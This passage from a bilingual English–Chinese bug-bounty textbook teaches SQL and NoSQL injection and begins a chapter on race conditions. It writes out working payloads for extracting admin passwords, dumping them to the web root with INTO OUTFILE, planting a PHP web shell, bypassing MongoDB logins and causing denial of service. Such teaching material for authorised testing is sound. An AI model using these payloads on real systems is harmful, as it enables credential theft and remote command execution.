否则，您可以提交专为目标数据库设计的有效负载，以触发数据库响应差异，时间延迟或数据库错误。请记住，您正在寻找SQL代码注入可以执行的线索。

Step 1: Look for Classic SQL Injections

Classic SQL injections are the easiest to find and exploit. In classic SQL injections, the results of the SQL query are returned directly to the attacker in an HTTP response. There are two subtypes: UNION based and error based.

经典的SQL注入是最容易发现和利用的。在经典的SQL注入中，SQL查询的结果直接返回给攻击者的HTTP响应。它有两种子类型：基于联合和基于错误的注入。

Our email example earlier is a case of the UNION-based approach: an attacker uses the UNION operator to concatenate the results of another query onto the web application’s response:

我们之前提到的电子邮件示例是基于 UNION 的攻击方法：攻击者使用 UNION 运算符将另一个查询的结果连接到 Web 应用程序的响应中：

SELECT Title, Body FROM Emails
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'
UNION SELECT Username, Password FROM Users;-- ;

In this case, the server would return all usernames and passwords along with the user vickie ’s emails in the HTTP response ( Table 11-2 ).

在这种情况下，服务器将在HTTP响应中返回所有用户名和密码，以及用户Vickie的电子邮件（表11-2）。

Table 11-2 : Emails That Result from Our Malicious Query

表11-2：由我们恶意查询引起的电子邮件。

Title | Body
Finish setting up your account! | Please finish setting up your example.com account by submitting a recovery email address.
Welcome | Welcome to example.com ’s email service
admin | t5dJ12rp$fMDEbSWz
vickie | password123
jennifer | letmein!

On the other hand, error-based SQL injection attacks trigger an error in the database to collect information from the returned error message. For example, we can induce an error by using the CONVERT() function in MySQL:

另一方面，基于错误的SQL注入攻击会在数据库中触发错误，以从返回的错误消息中收集信息。例如，我们可以使用MySQL中的CONVERT()函数来引发错误：

SELECT Title, Body FROM Emails
WHERE Username='vickie' AND AccessKey='ZB6w0YLjzvAVmp6zvr'
UNION SELECT 1,
CONVERT((SELECT Password FROM Users WHERE Username="admin"), DATE); –-

The CONVERT( VALUE , FORMAT ) function attempts to convert VALUE to the format specified by FORMAT . Therefore, this query will force the database to convert the admin’s password to a date format, which can sometimes cause the database to throw a descriptive error like this one:

CONVERT（VALUE，FORMAT）函数尝试将VALUE转换为FORMAT指定的格式。因此，这个查询将强制数据库将管理员密码转换为日期格式，这有时会导致数据库抛出如下所示的描述性错误：

Conversion failed when trying to convert "t5dJ12rp$fMDEbSWz" to data type "date".

The database throws descriptive errors to help developers pinpoint problems, but can also accidentally reveal information to outsiders if error messages are shown to regular users as well. In this example, the database points out that it has failed to convert a string value, "t5dJ12rp$fMDEbSWz" , to the date format. But t5dJ12rp$fMDEbSWz is the password of the admin account! By displaying a descriptive error message, the database has accidentally revealed a sensitive piece of information to outsiders.

数据库提供详细的错误信息来帮助开发人员找到问题，但如果错误信息也显示给普通用户，就可能会意外地向外泄露信息。在这个例子中，数据库指出无法将“t5dJ12rp$fMDEbSWz”这个字符串值转换成日期格式。但是，“t5dJ12rp$fMDEbSWz”是管理员账户的密码！通过显示详细的错误信息，数据库意外地向外界透露了一条敏感信息。

Step 2: Look for Blind SQL Injections

Also called inferential SQL injections , blind SQL injections are a little harder to detect and exploit. They happen when attackers cannot directly extract information from the database because the application doesn’t return SQL data or descriptive error messages. In this case, attackers can infer information by sending SQL injection payloads to the server and observing its subsequent behavior. Blind SQL injections have two subtypes as well: Boolean based and time based.

也称为推理性SQL注入，盲注攻击比较难以检测和利用。这种攻击发生在攻击者不能直接从数据库中提取信息的情况下，因为应用程序不返回SQL数据或描述性错误消息。在这种情况下，攻击者可以通过向服务器发送SQL注入负载并观察其随后的行为来推断信息。盲注攻击也分为两个子类型：基于布尔值和基于时间的情况。

Boolean-based SQL injection occurs when attackers infer the structure of the database by injecting test conditions into the SQL query that will return either true or false . Using those responses, attackers could slowly infer the contents of the database. For example, let’s say that example.com maintains a separate table to keep track of the premium members on the platform. Premium members have access to advanced features, and their home pages display a Welcome, premium member! banner. The site determines who is premium by using a cookie that contains the user’s ID and matching it against a table of registered premium members. The GET request containing such a cookie might look like this:

基于布尔值的 SQL 注入是指攻击者通过向 SQL 查询注入测试条件来推断数据库结构，以返回 true 或 false。攻击者可以利用这些响应，逐步推断出数据库的内容。例如，假设 example.com 维护一个单独的表来跟踪平台上的高级会员。高级会员可以访问高级功能，并在其主页上显示“欢迎，高级会员！”的横幅。该网站通过使用包含用户 ID 的 cookie 并将其与注册的高级会员表进行匹配来确定谁是高级会员。包含此类 cookie 的 GET 请求可能如下所示：

GET /
Host: example.com
Cookie: user_id=2

The application uses this request to produce the following SQL query:

该应用程序使用此请求来生成以下SQL查询：

SELECT * FROM PremiumUsers WHERE Id='2';

If this query returns data, the user is a premium member, and the Welcome, premium member! banner will be displayed. Otherwise, the banner won’t be displayed. Let’s say your account isn’t premium. What would happen if you submit this user ID instead?

如果此查询返回数据，则用户是高级会员，并将显示“欢迎，高级会员！”横幅。否则，该横幅将不会显示。假设您的帐户不是高级帐户。如果您提交此用户ID，会发生什么？

2' UNION SELECT Id FROM Users
WHERE Username = 'admin'
and SUBSTR(Password, 1, 1) ='a';--

Well, the query would become the following:

好的，查询将变为以下内容：

SELECT * FROM PremiumUsers WHERE Id='2'
UNION SELECT Id FROM Users
WHERE Username = 'admin'
and 1SUBSTR(Password, 1, 1) = 'a';--

The SUBSTR( STRING , POSITION , LENGTH ) function extracts a substring from the STRING , of a specified LENGTH , at the specified POSITION in that string. Therefore, SUBSTR(Password, 1, 1) 1 returns the first character of each user’s password. Since user 2 isn’t a premium member, whether this query returns data will depend on the second SELECT statement, which returns data if the admin account’s password starts with an a . This means you can brute-force the admin’s password; if you submit this user ID as a cookie, the web application would display the premium banner if the admin account’s password starts with an a . You could try this query with the letters b , c , and so on, until it works.

SUBSTR（字符串，位置，长度）函数从指定位置开始，提取字符串中指定长度的子字符串。因此，SUBSTR（密码，1，1）返回每个用户密码的第一个字符。由于用户2不是高级成员，此查询返回数据取决于第二个SELECT语句，如果管理员帐户的密码以a开头，则返回数据。这意味着您可以强制破解管理员的密码；如果您将此用户ID提交为cookie，则Web应用程序将显示高级横幅，如果管理员帐户的密码以a开头。您可以尝试使用字母b，c等进行此查询，直到成功。

You can use this technique to extract key pieces of information from the database, such as the database version, table names, column names, and credentials. I talk more about this in “Escalating the Attack” on page 201 .

您可以使用此技术从数据库中提取关键信息，如数据库版本、表名、列名和凭据。我在第201页的“升级攻击”中将更详细地讨论此技术。

A time-based SQL injection is similar, but instead of relying on a visual cue in the web application, the attacker relies on the response-time difference caused by different SQL injection payloads. For example, what might happen if the injection point from our preceding example doesn’t return any visual clues about the query’s results? Let’s say premium members don’t get a special banner, and their user interfaces don’t look any different. How do you exploit this SQL injection then?

时间型SQL注入类似，但攻击者不依赖于Web应用程序中的视觉提示，而是依赖于不同SQL注入有效负载所引起的响应时间差异。例如，如果我们上一个示例中的注入点没有返回任何关于查询结果的视觉提示会发生什么？假设高级会员没有获得特殊横幅，他们的用户界面也没有任何不同。那么您如何利用此SQL注入呢？

In many databases, you can trigger a time delay by using a SQL query. If the time delay occurs, you’ll know the query worked correctly. Try using an IF statement in the SQL query:

在许多数据库中，您可以通过使用SQL查询触发时间延迟。如果时间延迟发生，您将知道查询已正确工作。尝试在SQL查询中使用IF语句。在许多数据库中，您可以使用SQL查询触发时间延迟。如果时间延迟发生，您将知道查询已正确工作。尝试在SQL查询中使用IF语句。

IF(CONDITION, IF-TRUE, IF-FALSE)

For example, say you submit the following ID:

例如，假设您提交以下身份证：

2' UNION SELECT
IF(SUBSTR(Password, 1, 1) = 'a', SLEEP(10), 0)
Password FROM Users
WHERE Username = 'admin';

The SQL query would become the following:

SQL查询将变为以下内容：

SELECT * FROM PremiumUsers WHERE Id='2'
UNION SELECT
IF(SUBSTR(Password, 1, 1) = 'a', SLEEP(10), 0)
Password FROM Users
WHERE Username = 'admin';

The SLEEP( SECONDS ) function in MySQL will create a time delay in the response for the specified number of seconds. This query will instruct the database to sleep for 10 seconds if the admin’s password starts with an a character. Using this technique, you can slowly figure out the admin’s password.

MySQL 中的 SLEEP（SECONDS）函数将在指定的秒数内创建响应延迟。 如果管理员密码以 “a” 字符开头，则此查询将指示数据库等待 10 秒钟。 使用此技术，您可以逐渐找出管理员的密码。

Step 3: Exfiltrate Information by Using SQL Injections

Imagine that the web application you’re attacking doesn’t use your input in a SQL query right away. Instead, it uses the input unsafely in a SQL query during a backend operation, so you have no way to retrieve the results of injection via an HTTP response, or infer the query’s results by observing server behavior. Sometimes there’s even a time delay between when you submitted the payload and when the payload gets used in an unsafe query, so you won’t immediately be able to observe differences in the application’s behavior.

请想象一下，您正在攻击的Web应用程序不会立即在SQL查询中使用您的输入。相反，在后端操作期间不安全地使用输入作为SQL查询，因此您无法通过HTTP响应检索注入的结果，也无法通过观察服务器行为推断查询的结果。有时，提交有效载荷和有效载荷在不安全的查询中使用之间会存在时间延迟，因此您可能无法立即观察到应用程序行为上的差异。

In this case, you’ll need to make the database store information somewhere when it does run the unsafe SQL query. In MySQL, the SELECT. . .INTO statement tells the database to store the results of a query in an output file on the local machine. For example, the following query will cause the database to write the admin’s password into /var/www/html/output.txt , a file located on the web root of the target web server:

在这种情况下，当数据库运行不安全的SQL查询时，您需要将信息存储在某个地方。在MySQL中，SELECT...INTO语句告诉数据库将查询结果存储在本地计算机上的输出文件中。例如，下面的查询将导致数据库将管理员密码写入到位于目标Web服务器的Web根目录下的/var/www/html/output.txt文件中：

SELECT Password FROM Users WHERE Username='admin'
INTO OUTFILE '/var/www/html/output.txt'

We upload to the /var/www/html directory because it’s the default web directory for many Linux web servers. Then you can simply access the information by navigating to the /output.txt page on the target: https://example.com/output.txt . This technique is also a good way to detect second-order SQL injections, since in second-order SQL injections, there is often a time delay between the malicious input and the SQL query being executed.

我们上传到/var/www/html目录，因为它是许多Linux Web服务器的默认Web目录。然后，您可以通过导航到目标上的/output.txt页面（https://example.com/output.txt）简单地访问信息。这种技术还是检测二阶SQL注入的好方法，因为在二阶SQL注入中，恶意输入和执行SQL查询之间经常存在时间延迟。

Let’s put this information in context. Say that when you browse example.com , the application adds you to a database table to keep track of currently active users. Accessing a page with a cookie, like this

让我们将这个信息放入背景中。假设当您浏览example.com时，该应用程序会将您添加到数据库表中以跟踪当前活跃用户。访问一个带有 cookie 的页面，就像这样。

GET /
Host: example.com
Cookie: user_id=2, username=vickie

will cause the application to add you to a table of active users. In this example, the ActiveUsers table contains only two columns: one for the user ID and one for the username of the logged-in user. The application uses an INSERT statement to add you to the ActiveUsers table. INSERT statements add a row into the specified table with the specified values:

将会使应用程序将您添加到活跃用户表中。在此示例中，ActiveUsers表仅包含两列：一个用于用户ID，一个用于已登录用户的用户名。应用程序使用INSERT语句将您添加到ActiveUsers表中。INSERT语句将指定的值添加到指定表中的一行：

INSERT INTO ActiveUsers
VALUES ('2', 'vickie');

In this case, an attacker can craft a malicious cookie to inject into the INSERT statement:

在这种情况下，攻击者可以制作恶意的 cookie，并注入到 INSERT 语句中。

GET /
Host: example.com
Cookie: 1user_id="2', (SELECT Password FROM Users
WHERE Username='admin'
INTO OUTFILE '/var/www/html/output.txt'));-- ", username=vickie

This cookie 1 will, in turn, cause the INSERT statement to save the admin’s password into the output.txt file on the victim server:

这个Cookie 1会触发INSERT语句将管理员密码保存在受害服务器的output.txt文件中。

INSERT INTO ActiveUsers
VALUES ('2', (SELECT Password FROM Users
WHERE Username='admin'
INTO OUTFILE '/var/www/html/output.txt'));-- ', 'vickie');

Finally, you will find the password of the admin account stored into the output.txt file on the target server.

最后，你会在目标服务器的output.txt文件中找到管理员账户的密码。

Step 4: Look for NoSQL Injections

Databases don’t always use SQL. NoSQL , or Not Only SQL , databases are those that don’t use the SQL language. Unlike SQL databases, which store data in tables, NoSQL databases store data in other structures, such as key-value pairs and graphs. NoSQL query syntax is database-specific, and queries are often written in the programming language of the application. Modern NoSQL databases, such as MongoDB, Apache CouchDB, and Apache Cassandra, are also vulnerable to injection attacks. These vulnerabilities are becoming more common as NoSQL rises in popularity.

数据库并不一定使用SQL语言。NoSQL（非关系型数据库）是指不使用SQL语言的数据库。和SQL数据库不同的是，NoSQL数据库把数据存储在其他结构中，例如键值对和图形数据。NoSQL查询语法是特定于数据库的，并且查询通常是在应用程序的编程语言中编写的。现代NoSQL数据库（如MongoDB，Apache CouchDB和Apache Cassandra）也容易受到注入攻击的影响。随着NoSQL日益流行，这些漏洞变得越来越普遍。

Take MongoDB, for example. In MongoDB syntax, Users.find() returns users that meet a certain criteria. For example, the following query returns users with the username vickie and the password password123 :

以 MongoDB 为例。在 MongoDB 语法中，Users.find() 返回满足某个条件的用户。例如，以下查询返回用户名为 vickie，密码为 password123 的用户：

Users.find({username: 'vickie', password: 'password123'});

If the application uses this functionality to log in users and populates the database query directly with user input, like this:

如果应用程序使用此功能来登录用户并直接使用用户输入填充数据库查询语句，例如：

Users.find({username: $username, password: $password});

attackers can submit the password {$ne: ""} to log in as anyone. For example, let’s say that the attacker submits a username of admin and a password of {$ne: ""} . The database query would become as follows:

攻击者可以提交密码{$ne: ""}以登录任何人。例如，假设攻击者提交admin用户名和密码{$ne: ""}。数据库查询将变为以下形式：

Users.find({username: 'admin', password: {$ne: ""}});

In MongoDB, $ne selects objects whose value is not equal to the specified value. Here, the query would return users whose username is admin and password isn’t equal to an empty string, which is true unless the admin has a blank password! The attacker can thus bypass authentication and gain access to the admin account.

在MongoDB中，$ne选择值不等于指定值的对象。因此，查询将返回用户名为admin且密码不等于空字符串的用户，这是正确的，除非管理员有空白密码！攻击者因此可以绕过身份验证并访问管理员帐户。

Injecting into MongoDB queries can also allow attackers to execute arbitrary JavaScript code on the server. In MongoDB, the $where , mapReduce , $accumulator , and $function operations allow developers to run arbitrary JavaScript. For example, you can define a function within the $where operator to find users named vickie :

注入到 MongoDB 查询中也可以允许攻击者在服务器上执行任意 JavaScript 代码。在 MongoDB 中，$where、mapReduce、$accumulator 和 $function 操作允许开发者运行任意 JavaScript。例如，您可以在 $where 运算符中定义一个函数来查找名为 vickie 的用户。

Users.find( { $where: function() {
   return (this.username == 'vickie') } } );

Say the developer allows unvalidated user input in this function and uses that to fetch account data, like this:

假设开发人员在此函数中允许未验证的用户输入，并使用该输入来获取账户数据，就像这样：

Users.find( { $where: function() {
   return (this.username == $user_input) } } );

In that case, an attacker can execute arbitrary JavaScript code by injecting it into the $where operation. For example, the following piece of malicious code will launch a denial-of-service (DoS) attack by triggering a never-ending while loop:

在这种情况下，攻击者可以通过将恶意代码注入到$where操作中来执行任意的JavaScript代码。例如，下面这段恶意代码将触发一个无限循环，从而发起拒绝服务（DoS）攻击：

Users.find( { $where: function() {
   return (this.username == 'vickie'; while(true){};) } } );

The process of looking for NoSQL injections is similar to detecting SQL injections. You can insert special characters such as quotes ( ' " ), semicolons ( ; ), and backslashes ( \ ), as well as parentheses ( () ), brackets( [] ), and braces ( {} ) into user-input fields and look for errors or other anomalies. You can also automate the hunting process by using the tool NoSQLMap ( https://github.com/codingo/NoSQLMap/ ).

寻找NoSQL注入的过程类似于检测SQL注入。您可以在用户输入字段中插入特殊字符，例如引号（'“），分号（;）和反斜杠（\），以及括号（（）），方括号（[]）和大括号（{}），并查找错误或其他异常。您还可以使用NoSQLMap工具（https://github.com/codingo/NoSQLMap/）自动化搜索过程。

Developers can prevent NoSQL injection attacks by validating user input and avoiding dangerous database functionalities. In MongoDB, you can disable the running of server-side JavaScript by using the --noscripting option in the command line or setting the security.javascriptEnabled flag in the configuration file to false . Find more information at https://docs.mongodb.com/manual/faq/fundamentals/index.html .

开发人员可以通过验证用户输入和避免使用危险的数据库功能来防止NoSQL注入攻击。在MongoDB中，您可以通过在命令行中使用--noscripting选项或将配置文件中的security.javascriptEnabled标志设置为false来禁用服务器端JavaScript的运行。更多信息请访问https://docs.mongodb.com/manual/faq/fundamentals/index.html。

Additionally, you should follow the principle of least privilege when assigning rights to applications. This means that applications should run with only the privileges they require to operate. For example, when an application requires only read access to a file, it should not be granted any write or execute permissions. This will lower your risk of complete system compromise during an attack.

此外，在分配应用程序权限时，应遵循最小特权原则。这意味着应用程序应仅以其操作所需的权限运行。例如，当应用程序仅需要读取文件的访问权限时，不应授予任何写入或执行权限。这将降低您在攻击期间受到完全系统妥协的风险。

Escalating the Attack

Attackers most often use SQL injections to extract information from the database. Successfully collecting data from a SQL injection is a technical task that can sometimes be complicated. Here are some tips you can use to gain information about a target for exploitation.

攻击者最常使用SQL注入从数据库中提取信息。成功从SQL注入收集数据是一项技术任务，有时可能会很复杂。以下是一些提示，可用于获取有关目标的信息以进行利用。

Learn About the Database

First, it’s useful to gain information about the structure of the database. Notice that many of the payloads that I’ve used in this chapter require some knowledge of the database, such as table names and field names.

首先，获取有关数据库结构的信息非常有用。请注意，我在本章中使用的许多有效载荷都需要一些了解数据库的知识，例如表名和字段名。

To start with, you need to determine the database software and its structure. Attempt some trial-and-error SQL queries to determine the database version. Each type of database will have different functions for returning their version numbers, but the query should look something like this:

首先，您需要确定数据库软件及其结构。尝试一些试错的 SQL 查询，以确定数据库版本。每种类型的数据库都有不同的返回版本号的功能，但查询应该看起来像这样：

SELECT Title, Body FROM Emails
WHERE Username='vickie'
UNION SELECT 1, @@version;--

Some common commands for querying the version type are @@version for Microsoft SQL Server and MySQL, version() for PostgreSQL, and v$version for Oracle. The 1 in the UNION SELECT 1, DATABASE_VERSION_QUERY ;-- line is necessary, because for a UNION statement to work, the two SELECT statements it connects need to have the same number of columns. The first 1 is essentially a dummy column name that you can use to match column numbers.

查询版本类型的一些常见命令包括用于 Microsoft SQL Server 和 MySQL 的@@version，用于 PostgreSQL 的version()以及用于 Oracle 的v$version。UNION SELECT 1, DATABASE_VERSION_QUERY;--行中的1是必需的，因为要使 UNION 语句起作用，它连接的两个 SELECT 语句需要具有相同数量的列。第一个1实际上是一个虚拟列名，您可以使用它来匹配列号。

Once you know the kind of database you’re working with, you could start to scope it out further to see what it contains. This query in MySQL will show you the table names of user-defined tables:

一旦你知道你正在处理的数据库类型，你可以进一步确认它包含了什么内容。在MySQL中，以下查询可以展示用户自定义表的表名：

SELECT Title, Body FROM Emails
WHERE Username='vickie'
UNION SELECT 1, table_name FROM information_schema.tables

And this one will show you the column names of the specified table. In this case, the query will list the columns in the Users table:

这个将会显示指定表格的列名。在这个案例中，查询会列出 Users 表格中的列：

SELECT Title, Body FROM Emails
WHERE Username='vickie'
UNION SELECT 1, column_name FROM information_schema.columns
WHERE table_name = 'Users'

All of these techniques are possible during classic and blind attacks. You just need to find a different way to fit those commands into your constructed queries. For instance, you can determine a database’s version with a time-based technique like so:

所有这些技术都可以在经典攻击和盲目攻击期间使用。您只需要找到将这些命令嵌入您构建的查询中的不同方法。例如，您可以使用基于时间的技术确定数据库的版本，如下所示:

SELECT * FROM PremiumUsers WHERE Id='2'
UNION SELECT IF(SUBSTR(@@version, 1, 1) = '1', SLEEP(10), 0); --

After you’ve learned about the database’s structure, start targeting certain tables to exfiltrate data that interests you.

学习了数据库的结构之后，开始针对特定的表格窃取你感兴趣的数据。

Gain a Web Shell

Another way to escalate SQL injections is to attempt to gain a web shell on the server. Let’s say we’re targeting a PHP application. The following piece of PHP code will take the request parameter named cmd and execute it as a system command:

另一种升级 SQL 注入的方法是尝试在服务器上获得 Web Shell。假设我们的目标是一个 PHP 应用程序。以下的 PHP 代码将捕获名为 cmd 的请求参数，并将其作为系统命令来执行：

<? system($_REQUEST['cmd']); ?>

You can use the SQL injection vulnerability to upload this PHP code to a location that you can access on the server by using INTO OUTFILE . For example, you can write the password of a nonexistent user and the PHP code <? system($_REQUEST['cmd']); ?> into a file located at /var/www/html/shell.php on the target server:

您可以利用SQL注入漏洞，使用INTO OUTFILE将此PHP代码上传到服务器上您可以访问的位置。例如，您可以将不存在用户的密码和PHP代码<?系统（$ _REQUEST ['cmd']）; ?>写入位于目标服务器上的/var/www/html/shell.php文件中。

SELECT Password FROM Users WHERE Username='abc'
UNION SELECT "<? system($_REQUEST['cmd']); ?>"
INTO OUTFILE "/var/www/html/shell.php"

Since the password of the nonexistent user will be blank, you are essentially uploading the PHP script to the shell.php file. Then you can simply access your shell.php file and execute any command you wish:

由于不存在用户的密码将为空，您基本上将上传PHP脚本到shell.php文件中。然后，您可以轻松访问您的shell.php文件并执行任何您希望执行的命令：

http://www.example.com/shell.php?cmd=COMMAND

Automating SQL Injections

Testing for SQL injection manually isn’t scalable. I recommend using tools to help you automate the entire process described in this chapter, from SQL injection discovery to exploitation. For example, sqlmap ( http://sqlmap.org/ ) is a tool written in Python that automates the process of detecting and exploiting SQL injection vulnerabilities. A full tutorial of sqlmap is beyond the scope of this book, but you can find its documentation at https://github.com/sqlmapproject/sqlmap/wiki/ .

手动测试 SQL 注入不具可伸缩性。我建议使用工具来协助您自动化本章所描述的整个过程，从 SQL 注入发现到利用。例如，sqlmap（http://sqlmap.org/）是一种用 Python 编写的工具，可自动化检测和利用 SQL 注入漏洞。sqlmap 的完整教程超出了本书的范围，但您可以在 https://github.com/sqlmapproject/sqlmap/wiki/ 找到它的文档。

Before diving into automating your attacks with sqlmap, make sure you understand each of its techniques so you can optimize your attacks. Most of the techniques it uses are covered in this chapter. You can either use sqlmap as a standalone tool or integrate it with the testing proxy you’re using. For example, you can integrate sqlmap into Burp by installing the SQLiPy Burp plug-in.

在使用sqlmap自动化攻击之前，请确保您了解每个技巧，以便优化您的攻击。大多数它使用的技术都在本章中涵盖。您可以使用sqlmap作为独立工具，也可以将其与您正在使用的测试代理集成。例如，您可以通过安装SQLiPy Burp插件将sqlmap集成到Burp中。

Finding Your First SQL Injection!

SQL injections are an exciting vulnerability to find and exploit, so dive into finding one on a practice application or bug bounty program. Since SQL injections are sometimes quite complex to exploit, start by attacking a deliberately vulnerable application like the Damn Vulnerable Web Application for practice, if you’d like. You can find it at http://www.dvwa.co.uk/ . Then follow this road map to start finding real SQL injection vulnerabilities in the wild:

SQL注入是一种令人兴奋的漏洞，您可以在练习应用程序或漏洞赏金计划中寻找并利用它们。由于SQL注入有时很复杂，因此如果您想练习，请从攻击一个有意被攻击的应用程序开始，比如Damn Vulnerable Web Application。您可以在http://www.dvwa.co.uk/找到它。然后按照以下路线图开始在野外找到真正的SQL注入漏洞：

Map any of the application’s endpoints that take in user input.

Insert test payloads into these locations to discover whether they’re vulnerable to SQL injections. If the endpoint isn’t vulnerable to classic SQL injections, try inferential techniques instead.

Once you’ve confirmed that the endpoint is vulnerable to SQL injections, use different SQL injection queries to leak information from the database.

Escalate the issue. Figure out what data you can leak from the endpoint and whether you can achieve an authentication bypass. Be careful not to execute any actions that would damage the integrity of the target’s database, such as deleting user data or modifying the structure of the database.

Finally, draft up your first SQL injection report with an example payload that the security team can use to duplicate your results. Because SQL injections are quite technical to exploit most of the time, it’s a good idea to spend some time crafting an easy-to-understand proof of concept.

12
Race Conditions

Race conditions are one of the most interesting vulnerabilities in modern web applications. They stem from simple programming mistakes developers often make, and these mistakes have proved costly: attackers have used race conditions to steal money from online banks, e-commerce sites, stock brokerages, and cryptocurrency exchanges.

竞态条件是现代Web应用程序中最有趣的漏洞之一。它们源于开发人员常犯的简单编程错误，而这些错误已经被证明代价高昂：攻击者利用竞态条件从在线银行、电子商务网站、股票经纪公司和加密货币交易所窃取资金。

Let’s dive into how and why these vulnerabilities happen, and how you can find them and exploit them.

让我们深入了解这些漏洞是如何发生的，以及为什么会发生，以及您如何找到它们并利用它们。

Mechanisms

A race condition happens when two sections of code that are designed to be executed in a sequence get executed out of sequence. To understand how this works, you need to first understand the concept of concurrency. In computer science, concurrency is the ability to execute different parts of a program simultaneously without affecting the outcome of the program. Concurrency can drastically improve the performance of programs because different parts of the program’s operation can be run at once.

当两个被设计按顺序执行的代码部分在不按顺序执行时，发生了竞态条件。要理解这个过程，首先需要了解并发的概念。在计算机科学中，并发是指能够同时执行程序的不同部分而不影响程序的结果。由于程序的不同部分可以同时运行，因此并发可以大大提高程序的性能。

Concurrency has two types: multiprocessing and multithreading. Multiprocessing refers to using multiple central processing units ( CPUs ) , the hardware in a computer that executes instructions, to perform simultaneous computations. On the other hand, multithreading is the ability of a single CPU to provide multiple threads , or concurrent executions. These threads don’t actually execute at the same time; instead, they take turns using the CPU’s computational power. When one thread is idle, other threads can continue taking advantage of the unused computing resources. For example, when one thread is suspended while waiting for user input, another can take over the CPU to execute its computations.

并发有两种类型：多处理和多线程。多处理是指使用多个中央处理单元（CPU），计算机中执行指令的硬件，以执行同时计算。另一方面，多线程是单个CPU提供多个线程或并发执行的能力。这些线程实际上不同时执行；相反，它们轮流使用CPU的计算能力。当一个线程空闲时，其他线程可以继续利用未使用的计算资源。例如，当一个线程被暂停等待用户输入时，另一个线程可以接管CPU执行其计算。

Arranging the sequence of execution of multiple threads is called scheduling . Different systems use different scheduling algorithms, depending on their performance priorities. For example, some systems might schedule their tasks by executing the highest-priority tasks first, while another system might execute its tasks by giving out computational time in turns, regardless of priority.

安排多个线程的执行顺序称为调度。不同的系统使用不同的调度算法，这取决于它们的性能优先级。例如，一些系统可能按照最高优先级任务的顺序安排任务执行，而另一个系统可能按照轮流分配计算时间的方式执行任务，不考虑优先级。

This flexible scheduling is precisely what causes race conditions. Race conditions happen when developers don’t adhere to certain safe concurrency principles, as we’ll discuss later in this chapter. Since the scheduling algorithm can swap between the execution of two threads at any time, you can’t predict the sequence in which the threads execute each action.

弹性调度正是导致竞争条件发生的原因。竞争条件发生在开发人员不遵守某些安全并发原则时，我们将在本章后面讨论。由于调度算法可以在任何时间之间交换两个线程的执行，因此无法预测线程执行每个动作的顺序。

To see why the sequence of execution matters, let’s consider an example (courtesy of Wikipedia: https://en.wikipedia.org/wiki/Race_condition ). Say two concurrent threads of execution are each trying to increase the value of a global variable by 1. If the variable starts out with a value of 0, it should end up with a value of 2. Ideally, the threads would be executed in the stages shown in Table 12-1 .

为了看到执行顺序的重要性，让我们考虑一个示例（由维基百科提供：https://en.wikipedia.org/wiki/Race_condition）。假设有两个并发的执行线程，每个线程都试图将全局变量的值增加1。如果变量的初始值为0，则应该最终增加到2。理想情况下，线程应该按照表12-1中显示的阶段执行。

Table 12-1 : Normal Execution of Two Threads Operating on the Same Variable

表12-1：两个线程在同一变量上正常执行

| Thread 1 | Thread 2 | Value of variable A
Stage 1 |  |  | 0
Stage 2 | Read value of A |  | 0
Stage 3 | Increase A by 1 |  | 0
Stage 4 | Write the value of A |  | 1
Stage 5 |  | Read value of A | 1
Stage 6 |  | Increase A by 1 | 1
Stage 7 |  | Write the value of A | 2

But if the two threads are run simultaneously, without any consideration of conflicts that may occur when accessing the same resources, the execution could be scheduled as in Table 12-2 instead.

但是如果两个线程同时运行，没有考虑到访问相同资源时可能发生的冲突，执行可能会按照表12-2中的计划安排。

Table 12-2 : Incorrect Calculation Due to a Race Condition

表格12-2：由于竞争条件而导致的错误计算。

| Thread 1 | Thread 2 | Value of variable A
Stage 1 |  |  | 0
Stage 2 | Read value of A |  | 0
Stage 3 |  | Read value of A | 0
Stage 4 | Increase A by 1 |  | 0
Stage 5 |  | Increase A by 1 | 0
Stage 6 | Write the value of A |  | 1
Stage 7 |  | Write the value of A | 1

In this case, the final value of the global variable becomes 1, which is incorrect. The resulting value should be 2.

在这种情况下，全局变量的最终值变为1，这是不正确的。结果值应该是2。

In summary, race conditions happen when the outcome of the execution of one thread depends on the outcome of another thread, and when two threads operate on the same resources without considering that other threads are also using those resources. When these two threads are executed simultaneously, unexpected outcomes can occur. Certain programming languages, such as C/C++, are more prone to race conditions because of the way they manage memory.

总之，当一个线程的执行结果取决于另一个线程的结果，并且两个线程在没有考虑其他线程也在使用这些资源的情况下操作同一资源时，就会发生竞争条件。 当这两个线程同时执行时，可能会发生意外的结果。 由于它们管理内存的方式，某些编程语言（如C / C ++）更容易发生竞争条件。

When a Race Condition Becomes a Vulnerability

A race condition becomes a vulnerability when it affects a security control mechanism. In those cases, attackers can induce a situation in which a sensitive action executes before a security check is complete. For this reason, race condition vulnerabilities are also referred to as time-of-check or time-of-use vulnerabilities.

当一种竞争条件影响了安全控制机制时，它就成为了一个漏洞。在这种情况下，攻击者可以导致一个敏感操作在安全检查完成之前执行。因此，竞争条件漏洞也被称为检查时间或使用时间漏洞。

Imagine that the two threads of the previous example are executing something a little more sensitive: the transfer of money between bank accounts. The application would have to perform three subtasks to transfer the money correctly. First, it has to check if the originating account has a high enough balance. Then, it must add money to the destination account. Finally, it must deduct the same amount from the originating account.

想象一下，前面示例中的两个线程正在执行更敏感的操作：银行账户之间的转账。应用程序必须执行三个子任务才能正确地转移资金。首先，它必须检查原始帐户是否具有足够高的余额。然后，它必须将钱添加到目标帐户中。最后，它必须从原始帐户中扣除相同金额。

Let’s say that you own two bank accounts, account A and account B. You have $500 in account A and $0 in account B. You initiate two money transfers of $500 from account A to account B at the same time. Ideally, when two money transfer requests are initiated, the program should behave as shown in Table 12-3 .

假设您拥有两个银行账户，账户A和账户B。您在账户A中有500美元，在账户B中没有余额。您同时发起了两笔从账户A到账户B的500美元转账请求。理想情况下，当发起两笔转账请求时，程序应该按照表12-3的方式行为。

Table 12-3 : Normal Execution of Two Threads Operating on the Same Bank Account

表格12-3：两个线程正常操作同一银行账户

| Thread 1 | Thread 2 | Balance of accounts A + B
Stage 1 | Check account A balance ($500) |  | $500
Stage 2 | Add $500 to account B |  | $1,000 ($500 in A, $500 in B)
Stage 3 | Deduct $500 from account A |  | $500 ($0 in A, $500 in B)
Stage 4 |  | Check account A balance ($0) | $500 ($0 in A, $500 in B)
Stage 5 |  | Transfer fails (low balance) | $500 ($0 in A, $500 in B)

You end up with the correct amount of money in the end: a total of $500 in your two bank accounts. But if you can send the two requests simultaneously, you might be able to induce a situation in which the execution of the threads looks like Table 12-4 .

最终你将以正确的金额结尾：在两个银行账户中总共500美元。但是，如果你能同时发送两个请求，你可能会引发一个看起来像表12-4的线程执行情况。

